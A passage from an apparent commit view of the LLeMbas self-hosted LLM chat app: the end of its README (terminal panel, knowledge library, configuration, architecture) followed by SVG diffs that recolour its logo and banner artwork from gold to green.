listing for the `@` picker while putting none of it in the prompt.
Listing a directory and browsing one are things *you* asked for, not things a
model chose, so neither goes through the modes above. Worth knowing if you read
**Manual** as "nothing happens without me": it means nothing the *model* does.
#### The terminal
An agent chat has a **Terminal** button in its header, which opens a real shell
on that chat's connection, in its directory, beside the conversation. It needs
the *Open a terminal* permission, which is off by default.
The modes above do not apply to it. They exist because a model reads pages,
files and command output it did not write; you hold the credential and could
open the same shell with an ssh client, so nothing you type is queued for your
own approval. The model cannot see the panel either — three buttons in its
header decide what it sees: **Copy** takes the last command and its output to
the clipboard, **Send** puts the same into the message box, and **Auto**
collects every command you run into your next message. Nothing is ever sent on
its own; the box is where you read it first.
Knowing what "the last command" means takes a little help from the shell.
LLeMbas gives bash and zsh the same invisible markers VS Code and WezTerm use,
written into a temporary file the shell deletes itself, so it can tell one
command's output from the next and record the exit status and the directory.
Your own dotfiles are loaded first and nothing of yours is skipped. Any other
shell starts exactly as it would have; the two buttons then copy the last of the
screen as it appeared, say so, and Auto is switched off rather than guessing.
Drag the panel's left edge to make it wider — a terminal narrower than eighty
columns re-wraps everything a program prints — and the width follows you to
another browser.
The shell is not tied to the panel. Close it and a build carries on; come back,
or reload, and you reattach with the scrollback. Two tabs share one shell, and
the smaller window decides the size. It ends when nobody has watched it and
nothing has been typed for a while, when the chat is deleted, when the
connection is disabled or deleted, or when LLeMbas restarts — a deploy cuts off
whatever was running, and the panel says so rather than quietly opening a fresh
shell that has lost your working directory.
> Nothing typed here is in the transcript and nothing is logged but the opening
> and the closing. If you are running this over plain http, note that the
> session cookie is not marked `secure` so a LAN install works at all — with a
> terminal switched on, that is worth a certificate.
### The library
**Sidebar → Library**, and **Settings → Memory**. Nothing is on by default for a
model: give it the tools it should have under **Admin → Models**, where
`tools` decides whether a tool list may be sent at all and the built-in tools are
chosen one by one.
Knowledge is organised into **bases** — one per subject, project or client. A
chat with no base attached searches everything you have; tick some in the chat's
settings panel and it searches only those. Sharing happens at the base: share it
and everything in it comes too, read-only.
Search is SQLite's FTS5 — keyword matching with BM25 ranking, no embedding
service to run and nothing that stops working offline. It will not match a
paraphrase, so a line of description on a document is worth writing.
> Saving a **link** makes your server fetch a URL. Addresses on your own machine
> and network are refused unless an administrator opts in under
> **Admin → Web search**, because the address can come from a model and the
> server can reach things your browser cannot.
### Installing as an app
Open it in a browser and use *Install* (Chromium) or *Share → Add to Home
Screen* (iOS). This also needs HTTPS or localhost — service workers are
unavailable over plain HTTP, and without one there is nothing to install.
There is no offline mode beyond a page saying so. Everything is rendered by your
server, so a cached conversation would be a snapshot that silently went stale.
## Configuration
All variables are prefixed `LEMBAS_` and can live in `.env`. See
[`.env.example`](.env.example) for the annotated list.
| Variable | Default | Purpose |
|---|---|---|
| `LEMBAS_SECRET_KEY` | *generated* | Signs sessions and encrypts stored API keys. **Set this.** A generated key changes every restart, signing everyone out and making stored API keys unreadable. |
| `LEMBAS_DATA_DIR` | `./data` | SQLite database and uploads. |
| `LEMBAS_HOST` / `LEMBAS_PORT` | `127.0.0.1` / `8080` | Bind address. |
| `LEMBAS_ALLOW_SIGNUP` | `true` | Whether new users may register themselves — the *initial* value only. Once set under **Admin → General** the stored setting wins. The first account is always an admin regardless. |
| `LEMBAS_DEFAULT_THEME` | `moria` | `moria` (dark) or `shire` (light). |
| `LEMBAS_SESSION_TTL` | `2592000` | Session lifetime in seconds. |
| `LEMBAS_REQUEST_TIMEOUT` | `300` | Seconds to wait on an upstream model. |
### Commands
```bash
lembas serve # run the server
lembas info # where data lives, what is configured
lembas secret-key # generate a value for LEMBAS_SECRET_KEY
lembas create-admin # create or promote an administrator
```
## How it fits together
```
Browser ──form POST──▶ FastAPI ──▶ SQLite
▲ │
│ └──httpx──▶ any OpenAI-compatible endpoint
└──── server-sent events ◀───────────────┘ (streamed reply)
```
Sending a message stores the turn and returns two HTML fragments: the user's
bubble and an empty assistant bubble carrying an `sse-connect`. That opens a
server-sent event stream which appends tokens as they arrive, then replaces the
whole bubble with the finished, Markdown-rendered version. Rendering and
highlighting happen in Python, so the streamed and final views cannot disagree.
```
src/lembas/
api/ routes: auth, chats, folders, admin, pages
db/models/ SQLAlchemy schema
security/ password hashing, sessions
services/ llm client, chat orchestration, markdown, crypto, sse
web/ Jinja templates and static assets
assets/ SVG artwork masters
scripts/ artwork generator, vendored-JS fetcher
deploy/ systemd unit and nginx vhost for a real install
```
## Development
```bash
pytest # test suite
ruff check . # lint
python scripts/build_artwork.py # regenerate the SVG artwork
python scripts/fetch_vendor.py # verify vendored JS against the lockfile
```
There is no Alembic. The schema is SQLite-only and synchronised at startup:
missing tables and missing columns are added automatically, so adding a field to
a model needs nothing but a restart. Renames, drops and retypes are still manual
— see `CLAUDE.md`.
## Artwork
The logo, favicon and banner are original vector work, generated by
[`scripts/build_artwork.py`](scripts/build_artwork.py) so the mallorn leaf stays
identical across every size it appears at. The wordmark is
[Source Serif 4](https://github.com/adobe-fonts/source-serif) (SIL OFL 1.1)
converted to outlines — a README banner cannot load a webfont, and `<text>`
would render in whatever serif the reader happens to have.
## Licence
[GPL-3.0](LICENSE).
## A note on the theme
This is an independent hobby project, themed as an affectionate nod to
J.R.R. Tolkien's world. It is **not affiliated with, endorsed by, or connected
to** the Tolkien Estate, Middle-earth Enterprises, or any related rights
holder. All artwork here is original.
Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

+36 -36
View File
@@ -10,8 +10,8 @@
<stop offset="1" stop-color="#1A2530"/> <stop offset="1" stop-color="#1A2530"/>
</linearGradient> </linearGradient>
<radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5"> <radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
<stop offset="0" stop-color="#C9A227" stop-opacity="0.22"/> <stop offset="0" stop-color="#9BCC5A" stop-opacity="0.22"/>
<stop offset="1" stop-color="#C9A227" stop-opacity="0"/> <stop offset="1" stop-color="#9BCC5A" stop-opacity="0"/>
</radialGradient> </radialGradient>
<!-- Cool light sitting just above the ridge line, so the far mountains <!-- Cool light sitting just above the ridge line, so the far mountains
separate from the near ones instead of merging into one dark mass. --> separate from the near ones instead of merging into one dark mass. -->
@@ -21,17 +21,17 @@
</radialGradient> </radialGradient>
<linearGradient id="b-wafer" x1="0" y1="0" x2="0.3" y2="1"> <linearGradient id="b-wafer" x1="0" y1="0" x2="0.3" y2="1">
<stop offset="0" stop-color="#EACB74"/> <stop offset="0" stop-color="#7FB758"/>
<stop offset="0.5" stop-color="#C9A227"/> <stop offset="0.5" stop-color="#4C8C33"/>
<stop offset="1" stop-color="#916F13"/> <stop offset="1" stop-color="#2A5522"/>
</linearGradient> </linearGradient>
<linearGradient id="b-leaf" x1="0.1" y1="1" x2="0.9" y2="0"> <linearGradient id="b-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
<stop offset="0" stop-color="#93A5B6"/> <stop offset="0" stop-color="#9DB49A"/>
<stop offset="0.4" stop-color="#F1F6FA"/> <stop offset="0.4" stop-color="#F3F8EE"/>
<stop offset="1" stop-color="#B8C7D5"/> <stop offset="1" stop-color="#C6D8BE"/>
</linearGradient> </linearGradient>
<clipPath id="b-clip"> <clipPath id="b-clip">
<rect x="6" y="6" width="52" height="52" rx="13"/> <rect x="5" y="5" width="54" height="54" rx="14"/>
</clipPath> </clipPath>
</defs> </defs>
@@ -170,55 +170,55 @@
</g> </g>
<rect y="180" width="1280" height="240" fill="url(#b-horizon)"/> <rect y="180" width="1280" height="240" fill="url(#b-horizon)"/>
<rect width="1280" height="420" fill="url(#b-glow)"/> <rect width="1280" height="420" fill="url(#b-glow)"/>
<g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g> <g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
<!-- Ridge lines, furthest first. Each is lighter than the one in front of it, <!-- Ridge lines, furthest first. Each is lighter than the one in front of it,
which is what reads as distance. --> which is what reads as distance. -->
<polygon points="0.0,366.0 77.4,260.4 99.7,287.8 209.3,307.1 222.5,340.5 301.6,290.7 339.9,314.6 467.1,267.1 496.3,282.9 606.7,228.9 632.9,259.8 746.4,307.3 778.6,334.3 861.2,310.5 896.2,334.5 1013.6,227.8 1044.7,263.3 1135.1,235.4 1159.3,271.3 1280.0,304.0 1280.0,366.0 1280,999 0,999" fill="#1C2836"/> <polygon points="0.0,366.0 77.4,260.4 99.7,287.8 209.3,307.1 222.5,340.5 301.6,290.7 339.9,314.6 467.1,267.1 496.3,282.9 606.7,228.9 632.9,259.8 746.4,307.3 778.6,334.3 861.2,310.5 896.2,334.5 1013.6,227.8 1044.7,263.3 1135.1,235.4 1159.3,271.3 1280.0,304.0 1280.0,366.0 1280,999 0,999" fill="#1C2836"/>
<polygon points="0.0,392.0 76.5,282.7 92.5,305.1 157.2,334.8 195.6,347.7 306.6,319.4 331.0,337.8 404.6,292.3 419.7,305.8 478.9,333.4 502.2,359.5 591.3,344.5 610.7,372.4 673.6,307.7 696.0,329.2 781.8,302.5 807.3,323.8 939.9,310.5 956.3,320.6 1092.6,317.2 1110.4,344.2 1216.2,299.7 1251.5,314.1 1280.0,288.9 1280.0,392.0 1280,999 0,999" fill="#111A25"/> <polygon points="0.0,392.0 76.5,282.7 92.5,305.1 157.2,334.8 195.6,347.7 306.6,319.4 331.0,337.8 404.6,292.3 419.7,305.8 478.9,333.4 502.2,359.5 591.3,344.5 610.7,372.4 673.6,307.7 696.0,329.2 781.8,302.5 807.3,323.8 939.9,310.5 956.3,320.6 1092.6,317.2 1110.4,344.2 1216.2,299.7 1251.5,314.1 1280.0,288.9 1280.0,392.0 1280,999 0,999" fill="#111A25"/>
<polygon points="0.0,416.0 71.3,356.9 100.4,368.9 176.0,352.0 209.4,364.3 309.1,378.7 321.9,389.3 428.2,386.8 461.4,395.6 538.3,388.1 576.7,403.3 707.1,360.5 720.7,370.5 819.7,384.5 856.9,395.1 927.4,350.8 943.4,368.4 1038.7,363.5 1060.3,375.6 1133.4,388.3 1168.4,397.2 1280.0,380.1 1280.0,416.0 1280,999 0,999" fill="#080D13"/> <polygon points="0.0,416.0 71.3,356.9 100.4,368.9 176.0,352.0 209.4,364.3 309.1,378.7 321.9,389.3 428.2,386.8 461.4,395.6 538.3,388.1 576.7,403.3 707.1,360.5 720.7,370.5 819.7,384.5 856.9,395.1 927.4,350.8 943.4,368.4 1038.7,363.5 1060.3,375.6 1133.4,388.3 1168.4,397.2 1280.0,380.1 1280.0,416.0 1280,999 0,999" fill="#080D13"/>
<rect y="415" width="1280" height="5" fill="#C9A227" opacity="0.55"/> <rect y="415" width="1280" height="5" fill="#9BCC5A" opacity="0.55"/>
<!-- Lockup. Colours are fixed rather than themed: the banner carries its own <!-- Lockup. Colours are fixed rather than themed: the banner carries its own
night sky, so it must not follow the reader's colour scheme. --> night sky, so it must not follow the reader's colour scheme. -->
<g transform="translate(304.75 118.00) scale(2.1250)"> <g transform="translate(304.75 118.00) scale(2.1250)">
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#b-wafer)"/> <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#b-wafer)"/>
<g clip-path="url(#b-clip)" fill="none" stroke-linecap="round"> <g clip-path="url(#b-clip)" fill="none" stroke-linecap="round">
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2"> <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
<path d="M32 6 V58"/> <path d="M32 5 V59"/>
<path d="M6 32 H58"/> <path d="M5 32 H59"/>
</g> </g>
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1"> <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
<path d="M33.2 6 V58"/> <path d="M33.1 5 V59"/>
<path d="M6 33.2 H58"/> <path d="M5 33.1 H59"/>
</g> </g>
</g> </g>
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9" <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/> fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
<g> <g>
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3" <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
stroke-linecap="round" fill="none"/> stroke-linecap="round" fill="none"/>
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#b-leaf)"/> <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#b-leaf)"/>
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5" <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
stroke-width="1.5" stroke-linecap="round"/> stroke-width="1.5" stroke-linecap="round"/>
<g fill="none" stroke="#61758A" stroke-opacity="0.32" <g fill="none" stroke="#57734F" stroke-opacity="0.32"
stroke-width="1" stroke-linecap="round"> stroke-width="1" stroke-linecap="round">
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/> <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/> <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/> <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/> <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/> <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/> <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
</g> </g>
</g> </g>
</g> </g>
<g transform="translate(470.08 232.00)"> <g transform="translate(470.08 232.00)">
<style>.base { fill: #EDE6D6; } .accent { fill: #E0B252; }</style> <style>.base { fill: #EDE6D6; } .accent { fill: #9BCC5A; }</style>
<path class="accent" data-char="L" d="M4.67 -88.57 14.83 -87.33C15.24 -76.48 15.24 -61.52 15.24 -49.02V-42.98C15.24 -30.21 15.24 -14.83 14.83 -3.84L4.67 -2.61V0.00H65.91L67.56 -26.78H64.95L56.30 -3.43H29.93C29.52 -14.28 29.39 -29.93 29.39 -42.98V-49.02C29.39 -61.52 29.52 -76.48 29.93 -87.33L39.96 -88.57V-91.18H4.67Z"/> <path class="accent" data-char="L" d="M4.67 -88.57 14.83 -87.33C15.24 -76.48 15.24 -61.52 15.24 -49.02V-42.98C15.24 -30.21 15.24 -14.83 14.83 -3.84L4.67 -2.61V0.00H65.91L67.56 -26.78H64.95L56.30 -3.43H29.93C29.52 -14.28 29.39 -29.93 29.39 -42.98V-49.02C29.39 -61.52 29.52 -76.48 29.93 -87.33L39.96 -88.57V-91.18H4.67Z"/>
<path class="accent" data-char="L" d="M75.52 -88.57 85.68 -87.33C86.10 -76.48 86.10 -61.52 86.10 -49.02V-42.98C86.10 -30.21 86.10 -14.83 85.68 -3.84L75.52 -2.61V0.00H136.76L138.41 -26.78H135.80L127.15 -3.43H100.79C100.38 -14.28 100.24 -29.93 100.24 -42.98V-49.02C100.24 -61.52 100.38 -76.48 100.79 -87.33L110.81 -88.57V-91.18H75.52Z"/> <path class="accent" data-char="L" d="M75.52 -88.57 85.68 -87.33C86.10 -76.48 86.10 -61.52 86.10 -49.02V-42.98C86.10 -30.21 86.10 -14.83 85.68 -3.84L75.52 -2.61V0.00H136.76L138.41 -26.78H135.80L127.15 -3.43H100.79C100.38 -14.28 100.24 -29.93 100.24 -42.98V-49.02C100.24 -61.52 100.38 -76.48 100.79 -87.33L110.81 -88.57V-91.18H75.52Z"/>
<path class="base" data-char="e" d="M175.76 -60.97C182.76 -60.97 187.43 -55.47 187.43 -45.18C187.43 -39.13 185.37 -37.07 179.06 -37.07H161.07C162.03 -54.65 168.76 -60.97 175.76 -60.97ZM175.90 1.79C186.20 1.79 194.85 -2.88 199.79 -13.46L197.87 -14.83C193.75 -9.75 188.39 -6.45 180.98 -6.45C169.44 -6.45 160.93 -16.20 160.93 -32.82V-33.92H198.69C199.24 -35.84 199.52 -37.49 199.52 -40.51C199.52 -54.79 189.63 -64.26 175.62 -64.26C160.38 -64.26 146.93 -51.49 146.93 -30.07C146.93 -9.89 159.70 1.79 175.90 1.79Z"/> <path class="base" data-char="e" d="M175.76 -60.97C182.76 -60.97 187.43 -55.47 187.43 -45.18C187.43 -39.13 185.37 -37.07 179.06 -37.07H161.07C162.03 -54.65 168.76 -60.97 175.76 -60.97ZM175.90 1.79C186.20 1.79 194.85 -2.88 199.79 -13.46L197.87 -14.83C193.75 -9.75 188.39 -6.45 180.98 -6.45C169.44 -6.45 160.93 -16.20 160.93 -32.82V-33.92H198.69C199.24 -35.84 199.52 -37.49 199.52 -40.51C199.52 -54.79 189.63 -64.26 175.62 -64.26C160.38 -64.26 146.93 -51.49 146.93 -30.07C146.93 -9.89 159.70 1.79 175.90 1.79Z"/>

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 36 KiB

+12 -12
View File
@@ -3,25 +3,25 @@
<title>LLeMbas</title> <title>LLeMbas</title>
<defs> <defs>
<linearGradient id="f-wafer" x1="0" y1="0" x2="0.3" y2="1"> <linearGradient id="f-wafer" x1="0" y1="0" x2="0.3" y2="1">
<stop offset="0" stop-color="#EACB74"/> <stop offset="0" stop-color="#7FB758"/>
<stop offset="0.5" stop-color="#C9A227"/> <stop offset="0.5" stop-color="#4C8C33"/>
<stop offset="1" stop-color="#916F13"/> <stop offset="1" stop-color="#2A5522"/>
</linearGradient> </linearGradient>
<linearGradient id="f-leaf" x1="0.1" y1="1" x2="0.9" y2="0"> <linearGradient id="f-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
<stop offset="0" stop-color="#93A5B6"/> <stop offset="0" stop-color="#9DB49A"/>
<stop offset="0.4" stop-color="#F1F6FA"/> <stop offset="0.4" stop-color="#F3F8EE"/>
<stop offset="1" stop-color="#B8C7D5"/> <stop offset="1" stop-color="#C6D8BE"/>
</linearGradient> </linearGradient>
<clipPath id="f-clip"> <clipPath id="f-clip">
<rect x="6" y="6" width="52" height="52" rx="13"/> <rect x="5" y="5" width="54" height="54" rx="14"/>
</clipPath> </clipPath>
</defs> </defs>
<rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/> <rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
<g transform="translate(32 32) scale(1.16) translate(-32 -32)"> <g transform="translate(32 32) scale(1.1) translate(-32 -32)">
<path d="M20.6 44.6 L15.6 50.1" stroke="#8A9AA8" stroke-width="3.4" <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3.4"
stroke-linecap="round" fill="none"/> stroke-linecap="round" fill="none"/>
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#f-leaf)"/> <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#f-leaf)"/>
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.45" <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.45"
stroke-width="1.8" stroke-linecap="round"/> stroke-width="1.8" stroke-linecap="round"/>
</g> </g>
</svg> </svg>

Before

Width:  |  Height:  |  Size: 1.2 KiB

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

+28 -28
View File
@@ -3,55 +3,55 @@
<title>LLeMbas</title> <title>LLeMbas</title>
<defs> <defs>
<linearGradient id="l-wafer" x1="0" y1="0" x2="0.3" y2="1"> <linearGradient id="l-wafer" x1="0" y1="0" x2="0.3" y2="1">
<stop offset="0" stop-color="#EACB74"/> <stop offset="0" stop-color="#7FB758"/>
<stop offset="0.5" stop-color="#C9A227"/> <stop offset="0.5" stop-color="#4C8C33"/>
<stop offset="1" stop-color="#916F13"/> <stop offset="1" stop-color="#2A5522"/>
</linearGradient> </linearGradient>
<linearGradient id="l-leaf" x1="0.1" y1="1" x2="0.9" y2="0"> <linearGradient id="l-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
<stop offset="0" stop-color="#93A5B6"/> <stop offset="0" stop-color="#9DB49A"/>
<stop offset="0.4" stop-color="#F1F6FA"/> <stop offset="0.4" stop-color="#F3F8EE"/>
<stop offset="1" stop-color="#B8C7D5"/> <stop offset="1" stop-color="#C6D8BE"/>
</linearGradient> </linearGradient>
<clipPath id="l-clip"> <clipPath id="l-clip">
<rect x="6" y="6" width="52" height="52" rx="13"/> <rect x="5" y="5" width="54" height="54" rx="14"/>
</clipPath> </clipPath>
</defs> </defs>
<style> <style>
.base { fill: var(--lembas-ink, #1B1F23); } .base { fill: var(--lembas-ink, #1B1F23); }
.accent { fill: var(--lembas-gold, #C9A227); } .accent { fill: var(--lembas-leaf, #4C7A22); }
@media (prefers-color-scheme: dark) { @media (prefers-color-scheme: dark) {
.base { fill: var(--lembas-ink, #EDE6D6); } .base { fill: var(--lembas-ink, #EDE6D6); }
.accent { fill: var(--lembas-gold, #E0B252); } .accent { fill: var(--lembas-leaf, #9BCC5A); }
} }
</style> </style>
<g transform="translate(4.0 4.0)"> <g transform="translate(4.0 4.0)">
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#l-wafer)"/> <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#l-wafer)"/>
<g clip-path="url(#l-clip)" fill="none" stroke-linecap="round"> <g clip-path="url(#l-clip)" fill="none" stroke-linecap="round">
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2"> <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
<path d="M32 6 V58"/> <path d="M32 5 V59"/>
<path d="M6 32 H58"/> <path d="M5 32 H59"/>
</g> </g>
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1"> <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
<path d="M33.2 6 V58"/> <path d="M33.1 5 V59"/>
<path d="M6 33.2 H58"/> <path d="M5 33.1 H59"/>
</g> </g>
</g> </g>
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9" <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/> fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
<g> <g>
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3" <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
stroke-linecap="round" fill="none"/> stroke-linecap="round" fill="none"/>
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#l-leaf)"/> <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#l-leaf)"/>
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5" <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
stroke-width="1.5" stroke-linecap="round"/> stroke-width="1.5" stroke-linecap="round"/>
<g fill="none" stroke="#61758A" stroke-opacity="0.32" <g fill="none" stroke="#57734F" stroke-opacity="0.32"
stroke-width="1" stroke-linecap="round"> stroke-width="1" stroke-linecap="round">
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/> <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/> <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/> <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/> <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/> <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/> <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
</g> </g>
</g> </g>
</g> </g>

Before

Width:  |  Height:  |  Size: 5.9 KiB

After

Width:  |  Height:  |  Size: 5.9 KiB

+27 -27
View File
@@ -1,49 +1,49 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64" <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64"
role="img" aria-label="LLeMbas"> role="img" aria-label="LLeMbas">
<title>LLeMbas</title> <title>LLeMbas</title>
<desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc> <desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
<defs> <defs>
<linearGradient id="m-wafer" x1="0" y1="0" x2="0.3" y2="1"> <linearGradient id="m-wafer" x1="0" y1="0" x2="0.3" y2="1">
<stop offset="0" stop-color="#EACB74"/> <stop offset="0" stop-color="#7FB758"/>
<stop offset="0.5" stop-color="#C9A227"/> <stop offset="0.5" stop-color="#4C8C33"/>
<stop offset="1" stop-color="#916F13"/> <stop offset="1" stop-color="#2A5522"/>
</linearGradient> </linearGradient>
<linearGradient id="m-leaf" x1="0.1" y1="1" x2="0.9" y2="0"> <linearGradient id="m-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
<stop offset="0" stop-color="#93A5B6"/> <stop offset="0" stop-color="#9DB49A"/>
<stop offset="0.4" stop-color="#F1F6FA"/> <stop offset="0.4" stop-color="#F3F8EE"/>
<stop offset="1" stop-color="#B8C7D5"/> <stop offset="1" stop-color="#C6D8BE"/>
</linearGradient> </linearGradient>
